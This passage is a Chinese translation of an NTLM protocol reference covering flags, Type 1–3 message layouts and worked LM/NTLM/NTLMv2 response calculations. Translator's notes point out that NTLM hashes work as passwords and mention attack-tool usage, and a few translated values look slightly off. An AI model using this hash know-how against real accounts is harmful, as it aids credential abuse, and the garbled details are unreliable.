1”消息中发送以指示该消息中包含客户端工作站的名称。服务器使用它来确定客户端是否符合本地身份验证的条件。
0x00004000 | Negotiate Local Call |
由服务器发送以指示服务器和客户端在同一台计算机上。表示客户端可以使用已建立的本地凭据进行身份验证，而不是计算对质询的响应。
0x00008000 | Negotiate Always Sign | 指示应使用”虚拟”签名对客户端和服务器之间的已验证通信进行签名。
0x00010000 | Target Type Domain | 服务器在Type 2消息中发送以指示目标身份验证领域是域。
0x00020000 | Target Type Server | 服务器在Type 2消息中发送的消息，指示目标身份验证领域是服务器。
0x00040000 | Target Type Share | 服务器在Type
2消息中发送以指示目标身份验证领域是共享。大概是用于共享级别的身份验证。用法尚不清楚。
0x00080000 | Negotiate NTLM2 Key（Negotiate Extended Security） |
说明应使用NTLM2签名和Sealing方案来保护经过身份验证的通信。请注意，这是指特定的会话安全方案，与NTLMv2身份验证的使用无关。但是，此Flags可能会影响响应计算（如”
NTLM2会话响应 “部分中所述）。
0x00100000 | Request Init Response（Negotiate Identify） | 该Flags的用法尚未确定。
0x00200000 | Request Accept Response（Negotiate 0x00200000） | 该Flags的用法尚未确定。
0x00400000 | Request Non-NT Session Key | 该Flags的用法尚未确定。
0x00800000 | Negotiate Target Info | 服务器在Type
2消息中发送的消息，表明它在消息中包含目标信息块。目标信息块用于NTLMv2响应的计算。
0x01000000 | 未知 | 该Flags的用法尚未确定。
0x02000000 | 未知 | 该Flags的用法尚未确定。
0x04000000 | 未知 | 该Flags的用法尚未确定。
0x08000000 | 未知 | 该Flags的用法尚未确定。
0x10000000 | 未知 | 该Flags的用法尚未确定。
0x20000000 | Negotiate 128 | 表示支持128位加密。
0x40000000 | Negotiate Key Exchange | 指示客户端将在Type 3消息的”Session
Key”字段中提供加密的Master Key。
0x80000000 | Negotiate 56 | 表示支持56位加密。
下面使用NTLM认证流程的数据包内容做示例参考学习研究：
NTLM Type1 Flag
NTLM Type2 Flag
NTLM Type3 Flag
例如，考虑一条消息，该消息指定Flag：
Negotiate Unicode (0x00000001)
Request Target (0x00000004)
Negotiate NTLM (0x00000200)
Negotiate Always Sign (0x00008000)
结合以上flag位” 0x00008205 “。但是这在物理传输时上面的数据将被设置为” 0x05820000
“（因为它以小尾数字节顺序表示，这个非常重要，因为很多时候看到位置不对会产生疑问）。
## Type 1消息
我们来看看Type 1消息：
偏移量 | 描述 | 内容
---|---|---
0 | NTLMSSP签名 | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 | NTLM消息Type | long (0x0000001)
12 | Flags | long
（16） | 提供的域（可选） | security buffer
（24） | 提供的工作站（可选） | security buffer
（32） | 操作系统版本结构（可选） | 8 Bytes
（32） （40） | 数据块的开始（如果需要）
Type
1消息从客户端发送到服务器以启动NTLM身份验证。其主要目的是通过Flags指示受支持的选项，从而建立用于认证的”基本规则”。作为可选项，它还可以为服务器提供客户端的工作站名称和客户端工作站具有成员资格的域；服务器使用此信息来确定客户端是否符合本地身份验证的条件。
通常，Type 1消息包含来自以下集合的Flags：
Flags | 说明
---|---
Negotiate Unicode (0x00000001) | The client sets this flag to indicate that it
supports Unicode strings.
Negotiate OEM (0x00000002) | This is set to indicate that the client supports
OEM strings.
Request Target (0x00000004) | This requests that the server send the
authentication target with the Type 2 reply.
Negotiate NTLM (0x00000200) | Indicates that NTLM authentication is supported.
Negotiate Domain Supplied (0x00001000) | When set, the client will send with
the message the name of the domain in which the workstation has membership.
Negotiate Workstation Supplied (0x00002000) | Indicates that the client is
sending its workstation name with the message.
Negotiate Always Sign (0x00008000) | Indicates that communication between the
client and server after authentication should carry a “dummy” signature.
Negotiate NTLM2 Key (0x00080000) | Indicates that this client supports the
NTLM2 signing and sealing scheme; if negotiated, this can also affect the
response calculations.
Negotiate 128 (0x20000000) | Indicates that this client supports strong
(128-bit) encryption.
Negotiate 56 (0x80000000) | Indicates that this client supports medium
(56-bit) encryption.
提供的域是一个安全缓冲区，其中包含客户机工作站具有其成员资格的域。即使客户端支持Unicode，也始终采用OEM格式。
提供的工作站是包含客户端工作站名称的安全缓冲区。这也是OEM而不是Unicode。
在Windows的最新更新中引入了OS版本结构。它标识主机的操作系统构建级别，其格式如下：
Description | Content
---|---
0 | Major Version Number
1 | Minor Version Number
2 | Build Number
4 | Unknown
你可以通过CMD运行”winver.exe”来找到操作系统版本。它应该提供类似于以下内容的字符串：
请注意，操作系统版本结构和提供的域/工作站是可选字段。在所有消息类型中发现了三种Type 1型消息：
版本1-完全省略了提供的域和工作站安全缓冲区以及操作系统版本结构。在这种情况下，消息在Flags字段之后结束，并且是固定长度的16字节结构。这种形式通常出现在较旧的基于Win9x的系统中，并且在Open
Group的ActiveX参考文档（[第11.2.2节](http://www.opengroup.org/comsource/techref2/NCH1222X.HTM#ntlm.2.2)）中有大致记录。
版本2-存在提供的域和工作站缓冲区，但没有操作系统版本结构。数据块在安全缓冲区标头之后的偏移量32处立即开始。在大多数Windows现成的出厂版本中都可以看到这种形式。
版本3-既提供了域/工作站缓冲区，也提供了OS版本结构。数据块从OS版本结构开始，偏移量为40。此格式是在相对较新的Service
Pack中引入的，并且可以在Windows 2000，Windows XP和Windows 2003的当前修补版本中看到。
注：目前一般来说都是版本3了。
因此，”最最少的”格式正确的Type 1消息为：
4e544c4d535350000100000002020000
这是”版本1”Type 1消息，仅包含NTLMSSP签名，NTLM消息Type
和最少的Flags集（NegotiateNTLM和NegotiateOEM）。
### Type 1消息示例
请考虑以下十六进制Type 1消息：
4e544c4d53535000010000000732000006000600330000000b000b0028000000
050093080000000f574f524b53544154494f4e444f4d41494e
我们将其分解如下：
0 | 0x4e544c4d53535000 | NTLMSSP Signature
---|---|---
8 | 0x01000000 | Type 1 Indicator
12 | 0x07320000 | Flags:<br>Negotiate Unicode (0x00000001)<br>Negotiate OEM
(0x00000002)<br>Request Target (0x00000004)<br>Negotiate NTLM
(0x00000200)<br>Negotiate Domain Supplied (0x00001000)<br>Negotiate
Workstation Supplied (0x00002000)
16 | 0x0600060033000000 | Supplied Domain Security Buffer:<br>Length: 6 bytes
(0x0600)<br>Allocated Space: 6 bytes (0x0600)<br>Offset: 51 bytes (0x33000000)
24 | 0x0b000b0028000000 | Supplied Workstation Security Buffer:<br>Length: 11
bytes (0x0b00)<br>Allocated Space: 11 bytes (0x0b00)<br>Offset: 40 bytes
(0x28000000)
32 | 0x050093080000000f | OS Version Structure:<br>Major Version: 5
(0x05)<br>Minor Version: 0 (0x00)<br>Build Number: 2195
(0x9308)<br>Unknown/Reserved (0x0000000f)
40 | 0x574f524b53544154494f4e | Supplied Workstation Data (“WORKSTATION”)
51 | 0x444f4d41494e | Supplied Domain Data (“DOMAIN”)
分析这些信息，我们可以看到：
* 这是一条NTLM Type 1消息（来自NTLMSSP签名和Type 1指示符）。
* 此客户端可以支持Unicode或OEM字符串（同时设置了”Negotiate Unicode”和”Negotiate OEM”Flags）。
* 该客户端支持NTLM身份验证（Negotiate NTLM）。
* 客户端正在请求服务器发送有关身份验证目标的信息（设置了Request Target）。
* 客户端正在运行Windows 2000（5.0），内部版本2195（Windows 2000系统的生产内部版本号）。
* 该客户端正在发送其域” DOMAIN “（设置了”Negotiate Domain Supplied flag”Flags，并且该域名称存在于”提供的域安全性缓冲区”中）。
* 客户端正在发送其工作站名称，即” WORKSTATION “（已设置”Negotiate Workstation Supplied flag”Flags，并且工作站名称出现在”提供的工作站安全缓冲区”中）。
请注意，提供的工作站和域为OEM格式。此外，安全缓冲区数据块的布局顺序并不重要；在该示例中，工作站数据位于域数据之前。
创建Type 1消息后，客户端将其发送到服务器。服务器会像我们刚刚所做的那样分析消息，并创建答复。这将我们带入下一个主题，即Type 2消息。
## Type 2消息
偏移量 | Description | Content
---|---|---
0 | NTLMSSP Signature | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 | NTLM Message Type | long (0x02000000)
12 | Target Name | security buffer
20 | Flags | long
24 | Challenge | 8 bytes
(32) | Context (optional) | 8 bytes (two consecutive longs)
(40) | Target Information (optional) | security buffer
(48) | OS Version Structure (Optional) | 8 bytes
32 (48) (56) | start of data block
服务器将Type 2消息发送给客户端，以响应客户端的Type
1消息。它用于完成与客户端的选项Negotiate，也给客户端带来了challenge。它可以选择包含有关身份验证目标的信息。
典型的2类消息flags包括（前面已经翻译过，这里就不翻译了，正好也可以看看原文）：
Flags | 说明
---|---
Negotiate Unicode (0x00000001) | The server sets this flag to indicate that it
will be using Unicode strings. This should only be set if the client indicates
(in the Type 1 message) that it supports Unicode. Either this flag or
Negotiate OEM should be set, but not both.
Negotiate OEM (0x00000002) | This flag is set to indicate that the server will
be using OEM strings. This should only be set if the client indicates (in the
Type 1 message) that it will support OEM strings. Either this flag or
Negotiate Unicode should be set, but not both.
Request Target (0x00000004) | This flag is often set in the Type 2 message;
while it has a well-defined meaning within the Type 1 message, its semantics
here are unclear.
Negotiate NTLM (0x00000200) | Indicates that NTLM authentication is supported.
Negotiate Local Call (0x00004000) | The server sets this flag to inform the
client that the server and client are on the same machine. The server provides
a local security context handle with the message.
Negotiate Always Sign (0x00008000) | Indicates that communication between the
client and server after authentication should carry a “dummy” signature.
Target Type Domain (0x00010000) | The server sets this flag to indicate that
the authentication target is being sent with the message and represents a
domain.
Target Type Server (0x00020000) | The server sets this flag to indicate that
the authentication target is being sent with the message and represents a
server.
Target Type Share (0x00040000) | The server apparently sets this flag to
indicate that the authentication target is being sent with the message and
represents a network share. This has not been confirmed.
Negotiate NTLM2 Key (0x00080000) | Indicates that this server supports the
NTLM2 signing and sealing scheme; if negotiated, this can also affect the
client’s response calculations.
Negotiate Target Info (0x00800000) | The server sets this flag to indicate
that a Target Information block is being sent with the message.
Negotiate 128 (0x20000000) | Indicates that this server supports strong
(128-bit) encryption.
Negotiate 56 (0x80000000) | Indicates that this server supports medium
(56-bit) encryption.
Target Name是包含身份验证目标信息的安全缓冲区。 这通常是响应客户端请求目标而发送的（通过设置Type 1消息中的Request Target
Flags）。 它可以包含域，服务器或（显然）网络共享。 通过Target Type Domain, Target Type Server, and
Target Type Share flags指示目标类型。 Target Name可以是Unicode或OEM，如Type
2消息中存在适当的Flags所指示。
challenge是一个8字节的随机数据块。客户端将使用它来制定响应。
设置”Negotiate Local Call”时，通常会填充上下文字段。它包含一个SSPI上下文句柄，该句柄允许客户端”short-circuit”身份验证并有效规避对challenge的响应。从物理上讲，上下文是两个长值。稍后将在”Local Authentication
“部分中对此进行详细介绍。
Target information是一个包含目标信息块的安全缓冲区，该缓冲区用于计算 NTLMv2响应（稍后讨论）。它由一系列子块组成，每个子块包括：
Field | Content | Description
---|---|---
Type | short | Indicates the type of data in this subblock:<br>1 (0x0100):
Server name<br>2 (0x0200): Domain name<br>3 (0x0300): Fully-qualified DNS host
name (i.e., server.domain.com)<br>4 (0x0400): DNS domain name (i.e.,
domain.com)
Length | short | Length in bytes of this subblock’s content field
Content | Unicode string | Content as indicated by the type field. Always sent
in Unicode, even when OEM is indicated by the message flags.
前面已经描述了OS版本的结构。
与Type 1消息一样，已经观察到一些Type 2的版本：
版本1-上下文，目标信息和操作系统版本结构均被省略。数据块（仅包含Target
Name安全缓冲区的内容）从偏移量32开始。这种形式在较旧的基于Win9x的系统中可见，并且在Open
Group的ActiveX参考文档（第11.2.3节）中得到了大致记录。
版本2-存在Context 和 Target Information
fields字段，但没有OS版本结构。数据块在目标信息标题之后的偏移量48处开始。在大多数现成的Windows发行版中都可以看到这种形式。
版本3-上下文，目标信息和操作系统版本结构均存在。数据块在OS版本结构之后开始，偏移量为56。同样，缓冲区可能为空（产生零长度的数据块）。这种形式是在相对较新的Service
Pack中引入的，并且可以在Windows 2000，Windows XP和Windows 2003的当前修补版本中看到。
最小的Type 2消息如下所示：
4e544c4d53535000020000000000000000000000020200000123456789abcdef
该消息包含NTLMSSP签名，NTLM消息Type ，空Target
Name，最少Flags（NegotiateNTLM和NegotiateOEM）以及质询。
### Type 2消息示例
让我们看下面的十六进制Type 2消息：
4e544c4d53535000020000000c000c003000000001028100
0123456789abcdef0000000000000000620062003c000000
44004f004d00410049004e0002000c0044004f004d004100
49004e0001000c0053004500520056004500520004001400
64006f006d00610069006e002e0063006f006d0003002200
7300650072007600650072002e0064006f006d0061006900
6e002e0063006f006d0000000000
将其分为几个组成部分可以得出：
偏移量 | 值 | 说明
---|---|---
0 | 0x4e544c4d53535000 | NTLMSSP Signature
8 | 0x02000000 | Type 2 Indicator
12 | 0x0c000c0030000000 | Target Name Security Buffer:<br>Length: 12 bytes
(0x0c00)<br>Allocated Space: 12 bytes (0x0c00)<br>Offset: 48 bytes
(0x30000000)
20 | 0x01028100 | Flags:<br>Negotiate Unicode (0x00000001)<br>Negotiate NTLM
(0x00000200)<br>Target Type Domain (0x00010000)<br>Negotiate Target Info
(0x00800000)
24 | 0x0123456789abcdef | Challenge
32 | 0x0000000000000000 | Context
40 | 0x620062003c000000 | Target Information Security Buffer:<br>Length: 98
bytes (0x6200)<br>Allocated Space: 98 bytes (0x6200)<br>Offset: 60 bytes
(0x3c000000)
48 | 0x44004f004d004100 <br>49004e00 | Target Name Data (“DOMAIN”)
60 | 0x02000c0044004f00 <br>4d00410049004e00 <br>01000c0053004500
<br>5200560045005200 <br>0400140064006f00 <br>6d00610069006e00
<br>2e0063006f006d00 <br>0300220073006500 <br>7200760065007200
<br>2e0064006f006d00 <br>610069006e002e00 <br>63006f006d000000 <br>0000 |
Target Information Data: 接下一表格
Target Information Data：
偏移量 | 值
---|---
0x02000c0044004f00<br> 4d00410049004e00 | Domain name subblock:<br>Type: 2
(Domain name,<br> <br>0x0200<br>)<br>Length: 12 bytes
(<br>0x0c00<br>)<br>Data: “<br>DOMAIN”
0x01000c0053004500<br> 5200560045005200 | Server name subblock:<br>Type: 1
(Server name,<br> <br>0x0100<br>)<br>Length: 12 bytes
(<br>0x0c00<br>)<br>Data: “<br>SERVER”
0x0400140064006f00<br> 6d00610069006e00<br> 2e0063006f006d00 | DNS domain name
subblock:<br>Type: 4 (DNS domain name,<br> <br>0x0400<br>)<br>Length: 20 bytes
(<br>0x1400<br>)<br>Data: “<br>domain.com”
0x0300220073006500<br> 7200760065007200<br> 2e0064006f006d00<br>
610069006e002e00<br> 63006f006d00 | DNS server name subblock:<br>Type: 3 (DNS
server name,<br> <br>0x0300<br>)<br>Length: 34 bytes (<br>0x2200<br>)<br>Data:
“<br>server.domain.com”
0x00000000 | Terminator subblock:<br>Type: 0 (terminator,<br>
<br>0x0000<br>)<br>Length: 0 bytes (<br>0x0000)
对此消息的分析显示：
* 这是一条NTLM 2类消息（来自NTLMSSP Signature and Type 2指示符）。
* 服务器已指示将使用Unicode编码字符串（已设置Negotiate UnicodeFlags）。
* 服务器支持NTLM身份验证（Negotiate NTLM）。
* 服务器提供的Target Name将被填充并代表一个域（”Target Type Domain”Flags已设置并且该域名存在于”Target Name Security Buffer”中）。
* 服务器正在提供目标信息结构（已设置Negotiate目标信息）。此结构存在于目标信息（Target Info）安全缓冲区（域名” DOMAIN “，服务器名称” SERVER “，DNS域名” domain.com “和DNS服务器名称” server.domain.com “）中。
* 服务器生成的challenge是” 0x0123456789abcdef “。
* 空上下文。
请注意，Target Name采用Unicode格式（由”NegotiateUnicode”Flags指定）。
服务器创建Type 2消息后，它将发送给客户端。客户端的Type 3消息中提供了对服务器质询的响应。
## Type 3消息
| Description | Content
---|---|---
0 | NTLMSSP Signature | Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 | NTLM Message Type | long (0x03000000)
12 | LM/LMv2 Response | security buffer
20 | NTLM/NTLMv2 Response | security buffer
28 | Target Name | security buffer
36 | User Name | security buffer
44 | Workstation Name | security buffer
(52) | Session Key (optional) | security buffer
(60) | Flags (optional) | long
(64) | OS Version Structure (Optional) | 8 bytes
52 (64) (72) | start of data block
Type 3消息是身份验证的最后一步。此消息包含客户对Type 2质询的响应，这证明客户端无需直接发送密码进行认证而使用NTLM HASH认证。Type
3消息还指示身份验证目标（域或服务器名称）和身份验证帐户的用户名，以及客户端工作站名称。
请注意，Type 3消息中的Flags是可选的；较旧的客户端在消息中既不包含Session Key也不包含Flags。通过实验确定，Type 3
Flags（如果包含）在面向连接的身份验证中不带有任何其他语义。它们似乎对身份验证或会话安全性都没有任何明显的影响。发送Flags的客户端通常会非常紧密地镜像已建立的Type
2设置。可能会将Flags作为已建立选项的”提醒”发送，以允许服务器避免缓存Negotiate的设置。但是，Type 3
Flags在数据报样式身份验证期间是有意义的的 。
LM/LMv2和NTLM/NTLMv2响应是安全缓冲区，其中包含根据用户的密码响应Type 2质询而创建的答复。下一节概述了生成这些响应的过程。
target
name是一个安全缓冲区，其中包含身份验证领域，其中身份验证帐户具有成员身份（域帐户的域名，或本地计算机帐户的服务器名）。根据Negotiate的编码，它可以是Unicode或OEM。
user name是包含身份验证帐户名的安全缓冲区。根据Negotiate的编码，它可以是Unicode或OEM。
workstation name是包含客户端工作站名称的安全缓冲区。根据Negotiate的编码，它可以是Unicode或OEM。
session key值在Key交换期间由会话安全性机制使用；”会话安全性”部分将对此进行详细讨论 。
当在Type 2消息中建立了”Negotiate Local Call”时，Type 3消息中的安全缓冲区通常都为空（零长度）。客户端”采用”在Type
2消息中发送的SSPI上下文，从而有效地避免了计算适当响应的需求。
OS版本结构与前面描述的格式相同。
同样，Type 3消息有一些变体：
版本1-Session
Key，Flags和OS版本结构被省略。在这种情况下，数据块在”工作站名称”安全缓冲区标头之后的偏移量52处开始。此格式在基于Win9x的较旧系统中可见。
版本2-包含Session
Key和Flags，但不包含OS版本结构。在这种情况下，数据块在Flags字段之后的偏移量64处开始。这种形式在大多数现成的Windows版本中都可以看到，并且在Open
Group的ActiveX参考文档（第11.2.4节）中有大致记录。。
版本3-Session Key，Flags和OS版本结构均存在。数据块从OS版本结构开始，偏移量为72。此格式是在相对较新的Service
Pack中引入的，并且可以在Windows 2000，Windows XP和Windows 2003的当前修补版本中看到。
### 名称可变性（Name Variations）
除了消息的布局变化之外，user和Target Name还可以在Type 3消息中以几种不同的格式显示。通常情况下，”User
Name”字段将使用Windows帐户名称填充，而”Target Name”将使用NT域名填充。但是，用户名和/或域也可以采用Kerberos样式的”
[[email protected]](mailto:[email protected])”格式进行多种组合。已经支持多种变体，并具有一些可能的含义如下表：
Format | Type 3 Field Content | Notes
---|---|---
DOMAINuser | User Name = “user”<br>Target Name = “DOMAIN” | Target Name=“
DOMAIN”这是“常规”格式； 用户名字段包含Windows用户名，目标名包含NT样式的NetBIOS域或服务器名。
domain.comuser | User Name = “user”<br>Target Name = “domain.com” | Target
Name=“ domain.com”在此，Type 3消息中的“Target
Name”字段填充有DNS域名/领域名称（对于本地计算机帐户，则为标准DNS主机名）。
user[@DOMAIN](https://github.com/DOMAIN "@DOMAIN") | User Name =
“user[@DOMAIN](https://github.com/DOMAIN "@DOMAIN")”<br>Target Name is empty |
Target Name为空在这种情况下，“Target Name”字段为空（零长度），而“用户名”字段使用Kerberos样式的“ user @
realm”格式。 但是，使用NetBIOS域名代替DNS域。 已经观察到，本地计算机帐户不支持此格式。 此外，NTLMv2 /
LMv2身份验证似乎不支持此格式。
[[email protected]](mailto:[email protected]) | User Name =
“[[email protected]](mailto:[email protected])”<br>Target Name is empty |
类型3消息中的Target Name字段为空； “用户名”字段包含Kerberos样式的“ user @
realm”格式以及DNS域。本地计算机帐户似乎不支持此方式。
### 应答challenge（Responding to the Challenge）
客户端创建一个或多个对Type 2质询的响应，并将响应以Type 3消息发送给服务器。有六种Type 的响应：
* LM（LAN管理器）响应-由大多数较旧的客户端发送，这是”原始”响应Type 。
* NTLM响应-这是由基于NT的客户端（包括Windows 2000和XP）发送的。
* NTLMv2响应-一种较新的返回类型，Windows NT Service Pack 4中引入更新的响应Type。它替换了启用了NTLMv2的系统上的NTLM响应。
* LMv2响应-替换NTLMv2系统上的LM响应。
* NTLM2会话响应-在未经NTLMv2身份验证的情况下Negotiate NTLM2会话安全性时使用，此方案会更改LM和NTLM响应的语义。
* 匿名响应(Anonymous Response)-建立匿名上下文时使用；不会显示实际凭据，也不会进行真正的身份验证。”Stub”字段显示在Type 3消息中。
有关这些方案的更多信息，强烈建议您阅读Christopher
Hertel的[《实现CIFS》](http://ubiqx.org/cifs)，尤其是有关[身份验证的部分](http://ubiqx.org/cifs/SMB.html#SMB.8)。
响应(responses)用作客户端拥有密码口令的间接证明。客户端使用密码导出LM和/或NTLM哈希（在下一节中讨论）；这些值依次用于计算对challenge的适当响应。域控制器（或本地计算机帐户的服务器）存储LM和NTLM哈希作为密码；当从客户端收到响应时，这些存储的值将用于计算适当的响应值，并将其与客户端发送的响应值进行比较。匹配会成功验证用户。
请注意，与Unix密码哈希不同，LM和NTLM哈希在响应计算的上下文中是与密码等效的。它们必须受到保护，因为即使不知道实际密码本身，也可以使用它们来通过网络对用户进行身份验证。（注：也就是说知道密码和指导哈希是同样的都可以用于认证）
**LM响应（The LM Response）**
LM响应是由大多数客户端发送的。此方案比NTLM响应要旧，并且安全性较低。虽然较新的客户端支持NTLM响应，但它们通常会同时发送这两个响应以与旧服务器兼容。因此，在支持NTLM响应的许多客户端中，仍然存在LM响应中存在的安全漏洞。
LM响应的计算方式如下（有关 Java中的示例实现，请参阅附录D）：
1. 首先将用户密码（作为OEM字符串）转换为大写。
2. 将其填充为14个字节，不足则用0填充。
3. 将此固定长度的密码分为两个7字节。
4. 这些值做为两个DESKey（每个7字节为一个）。
5. 这些Key中的每一个都用于对特定的ASCII字符串”KGS!@#$%” 进行DES加密（产生两个8字节密文值）。
6. 将这两个密文值连接起来以形成一个16字节的值-LM哈希。
7. 16字节的LM哈希被空填充为21个字节。
8. 该值分为三个7字节。
9. 这些值用于创建三个DESKey。
10. 这些Key中的每一个都用于对来自Type 2消息的质询进行DES加密（产生三个8字节密文值）。
11. 将这三个密文值连接起来形成一个24字节的值。这就是LM的回应。
如果用户的密码长度超过15个字符，则主机或域控制器将不会为该用户存储LM哈希。在这种情况下，LM响应不能用于认证用户。仍会生成一个响应并将其放置在LM响应字段中，并使用16字节的空值（0x00000000000000000000000000000000000000）作为计算中的LM哈希。该值将被目标忽略。（注：平时在利用工具时LM字段可以放置空值即可）
最好用一个详细的例子说明响应计算过程。考虑一个密码为” SecREt01 “ 的用户，它响应Type 2质询” 0x0123456789abcdef “。
1. 密码（作为OEM字符串）将转换为大写，并以十六进制的形式给出” SECRET01 “（或” 0x5345435245543031 “）。
2. 将其填充为14个字节，为” 0x534543524554303031000000000000 “。
3. 此值分为两个7字节，即” 0x53454352455430 “和” 0x31000000000000 “。
4. 这两个值用于创建两个DESKey。DESKey的长度为8个字节；每个字节包含7位Key材料和1个奇偶校验位（根据基础DES的实现，可以检查或不检查奇偶校验位）。我们的第一个7字节值” 0x53454352455430 “将以二进制形式表示为：
01010011 01000101 01000011 01010010 01000101 01010100
00110000此值的未经奇偶校验调整的DESKey为：0101001 0 1010001 0 0101000 0 0110101 0 0010010 0
0010101 0 0101000 0 0110000 0（奇偶校验位在上方以最后一位显示）。十六进制为” 0x52a2506a242a5060
“。应用奇数奇偶校验以确保每个八位位组中的总置位位数为奇数可得出：0101001 0 1010001 0 0101000 1 0110101 1
0010010 1 0010101 0 0101000 1 0110000 1
这是第一个DESKey（十六进制为” 0x52a2516b252a5161 “）。然后，我们对第二个7字节值” 0x31000000000000 “
应用相同的过程，以二进制表示：
00110001 00000000 00000000 00000000 00000000 00000000 00000000
创建一个非奇偶校验的DESKey可以得到：
0011000 0 1000000 0 0000000 0 0000000 0 0000000 0 0000000 0 0000000 0 0000000
0
（十六进制为” 0x3080000000000000 “）。调整奇偶校验位可得出：
0011000 1 1000000 0 0000000 1 0000000 1 0000000 1 0000000 1 0000000 1 0000000
1
这是我们的第二个DESKey，十六进制为” 0x3180010101010101
“。请注意，如果我们的特定DES实现不强制执行奇偶校验（很多都不强制），则可以跳过奇偶校验调整步骤；然后，将非奇偶校验调整后的值用作DESKey。在任何情况下，奇偶校验位都不会影响加密过程。
5. 我们的每个Key都用于DES加密常量ASCII字符串”KGS!@#$% “（十六进制为” 0x4b47532140232425 “）。这使我们获得” 0xff3750bcc2b22412 “（使用第一个Key）和” 0xc2265b23734e0dac “（使用第二个Key）。
6. 这些密文值被连接起来以形成我们的16字节LM哈希-“ 0xff3750bcc2b22412c2265b23734e0dac “。
7. 将其空填充到21个字节，得到” 0xff3750bcc2b22412c2265b23734e0dac0000000000 “。
8. 该值分为三个7字节的三分之三：” 0xff3750bcc2b224 “，” 0x12c2265b23734e “和” 0x0dac0000000000 “。
9. 这三个值用于创建三个DESKey。使用前面概述的过程，我们的第一个价值是：
11111111 00110111 01010000 10111100 11000010 10110010
00100100给我们提供经过奇偶校验调整的DESKey：1111111 0 1001101 1 1101010 1 0001011 0 1100110 1
0001010 1 1100100 0 0100100 1（十六进制为” 0xfe9bd516cd15c849 “）。第二个值：00010010
11000010 00100110 01011011 00100011 01110011 01001110
结果的关键：
0001001 1 0110000 1 1000100 1 1100101 1 1011001 1 0001101 0 1100110 1 1001110
1
（” 0x136189cbb31acd9d “）。最后，第三个值：
00001101 10101100 00000000 00000000 00000000 00000000 00000000
给我们：
0000110 1 1101011 0 0000000 1 0000000 1 0000000 1 0000000 1 0000000 1 0000000
1
这是第三个DESKey（” 0x0dd6010101010101 “）。
10. 三个Key中的每个Key都用于对来自Type 2消息的质询进行DES加密（在我们的示例中为” 0x0123456789abcdef “）。这给出结果” 0xc337cd5cbd44fc97 “（使用第一个键），” 0x82a667af6d427c6d “（使用第二个键）和” 0xe67c20c2d3e77c56 “（使用第三个键）。
11. 将这三个密文值连接起来以形成24字节LM响应：
0xc337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56
该算法有几个弱点，使其容易受到攻击。尽管在Hertel文本中详细介绍了这些内容，但最突出的问题是：在计算响应之前，密码将转换为大写。
**NTLM响应(The NTLM Response)**
NTLM响应由较新的客户端发送。该方案解决了LM响应中的一些缺陷。但是，它仍然被认为是相当薄弱的。此外，NTLM响应几乎总是与LM响应一起发送。可以利用该算法的弱点来获得不区分大小写的密码，并通过反复试验来找到NTLM响应所采用的区分大小写的密码。
NTLM响应的计算方式如下（有关示例Java实现，请参阅附录D）：
1. MD4消息摘要算法（在RFC 1320中描述 ）应用于Unicode大小写混合密码。结果为16字节的值-NTLM哈希。
2. 16字节的NTLM哈希值被空填充为21个字节。
3. 该值分为三个7字节的三分之二。
4. 这些值用于创建三个DESKey（每个7字节的三分之一）。
5. 这些Key中的每一个都用于对来自Type 2消息的质询进行DES加密（产生三个8字节密文值）。
6. 将这三个密文值连接起来形成一个24字节的值。这是NTLM响应。
注意，只有哈希值的计算与LM方案有所不同；响应计算是相同的。为了说明此过程，我们将其应用到之前的示例（密码为”SecREt01” 的用户，响应Type
2质询” 0x0123456789abcdef “）。
1. Unicode混合大小写密码为” 0x53006500630052004500740030003100 “（十六进制）；计算出该值的MD4哈希，结果为” 0xcd06ca7c7e10c99b1d33b7485a2ed808 “。这是NTLM哈希。
2. 将其空填充到21个字节，得到” 0xcd06ca7c7e10c99b1d33b7485a2ed8080000000000 “。
3. 该值分为三个7字节的三分之三：” 0xcd06ca7c7e10c9 “，” 0x9b1d33b7485a2e “和” 0xd8080000000000 “。
4. 这三个值用于创建三个DESKey。我们的第一个值：
11001101 00000110 11001010 01111100 01111110 00010000
11001001得出奇偶校验调整后的Key：1100110 1 1000001 1 1011001 1 0100111 1 1100011 1
1111000 1 0100001 1 1001001 0（十六进制为” 0xcd83b34fc7f14392 “）。第二个值：10011011
00011101 00110011 10110111 01001000 01011010 00101110
给出Key：
1001101 1 1000111 1 0100110 0 0111011 0 0111010 1 0100001 1 0110100 0 0101110
1
（” 0x9b8f4c767543685d “）。我们的第三个价值：
11011000 00001000 00000000 00000000 00000000 00000000 00000000
产生我们的第三个关键：
1101100 1 0000010 0 0000000 1 0000000 1 0000000 1 0000000 1 0000000 1 0000000
1
（十六进制为” 0xd904010101010101 “）。
5. 这三个Key中的每一个都用于对来自Type 2消息（” 0x0123456789abcdef “）的质询进行DES加密。这将产生结果” 0x25a98c1c31e81847 “（使用第一个Key），” 0x466b29b2df4680f3 “（使用第二个Key）和” 0x9958fb8c213a9cc6 “（使用第三个Key）。
6. 这三个密文值连接起来形成24字节NTLM响应：
0x25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6
**NTLMv2响应**
NTLM版本2（”NTLMv2”）专门用于解决NTLM中存在的安全问题。启用NTLMv2时，NTLM响应将替换为NTLMv2响应，而LM响应将替换为LMv2响应（我们将在下面讨论）。
NTLMv2响应的计算方式如下（有关 Java中的示例实现，请参阅附录D）：
1. 获取NTLM密码哈希（如前所述，这是Unicode混合大小写密码的MD4摘要）。
2. Unicode大写用户名与Unicode身份验证目标（在Type 3消息的”Target Name”字段中指定的域或服务器名称）串联在一起。请注意，即使已协商使用OEM编码，此计算也始终使用Unicode表示形式。还请注意，用户名将转换为大写，而身份验证目标（authentication target）区分大小写，并且必须与”Target Name”字段中显示的大小写匹配。使用16字节NTLM哈希作为Key，将HMAC-MD5消息认证代码算法（[RFC 2104](http://www.ietf.org/rfc/rfc2104.txt)）应用于该值。结果为16字节的值-NTLMv2哈希。
3. 构造一个称为”Blob”的数据块。Hertel text更详细地讨论了这种结构的格式。简要说明如下：| offset | Description | Content |
| ————— | ————————— | —————————————————————————————————————————————————————— |
| 0 | Blob Signature | 0x01010000 |
| 4 | Reserved | long (0x00000000) |
| 8 | Timestamp | Little-endian, 64-bit signed value representing the number
of tenths of a microsecond since January 1, 1601. |
| 16 | Client Nonce | 8 bytes |
| 24 | Unknown | 4 bytes |
| 28 | Target Information | Target Information block (from the Type 2
message). |
| (variable) | Unknown | 4 bytes |
